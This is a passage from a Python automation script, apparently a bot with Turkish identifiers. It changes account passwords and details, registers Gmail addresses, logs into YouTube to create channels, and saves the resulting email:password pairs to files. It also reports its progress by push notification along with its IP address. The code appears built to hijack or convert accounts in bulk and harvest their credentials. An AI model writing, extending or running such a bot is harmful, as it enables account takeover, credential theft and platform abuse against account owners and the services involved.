1158 newPass = changeAccountInfo(password, newPass, text)
1159
1160 elif(flag==2):
1161 gmail = registerGmail(randName, randSname, 0)
1162
1163 goToEditSecond()
1164 text = getBody()
1165
1166 try:
1167 if(not "@gmail.com" in text):
1168 addToOzel(info)
1169 failC += 1
1170 endSession()
1171 continue
1172 except:
1173 pass
1174
1175 newPass = changeAccountInfo(password, newPass, text)
1176 elif(flag == 4):
1177 addToCop(info)
1178 failC += 1
1179 endSession()
1180 continue
1181 else:
1182 addToTekrar(info)
1183 endSession()
1184 continue
1185
1186 else:
1187 url = getUrl()
1188 if("mail/" in url
1189 or "inbox" in url):
1190 gmail = manuel(password, newPass)
1191 g = gmail.split(":")
1192 gmail = g[0]
1193 newPass = g[1]
1194 else:
1195 print("-----RAPOR EDILMELI!!!!")
1196 addToOzel(info)
1197 endSession()
1198 continue
1199
1200 time.sleep(5)
1201 pyautogui.hotkey('alt', 'f4')
1202 try:
1203 driver = setYoutubeDriver()
1204 loginYoutube(str(gmail), newPass)
1205 text = getBody()
1206 if not "The email and password" in text:
1207 createYoutube(str(gmail), newPass)
1208 info = str(gmail) + ":" + newPass
1209 addToGmail(info)
1210 sucC += 1
1211 endSession()
1212 continue
1213 except:
1214 try:
1215 addToTekrarYT(str(gmail)+":"+newPass+"\n")
1216 except:
1217 pass
1218 try:
1219 driver.close()
1220 except:
1221 pass
1222 try:
1223 info = str(gmail) + ":" + newPass
1224 addToGmail(info)
1225 except:
1226 pass
1227 sucC += 1
1228 endSession()
1229
1230 push("Youtube Ceviri", "Bot basari ile islemi bitirdi. IP: " + ip)
1231except Exception as e:
1232 push("Youtube Ceviri", "Bot hata verdi tekrar baslatilmali! IP: " + ip + "\nHata: " + str(e))
1233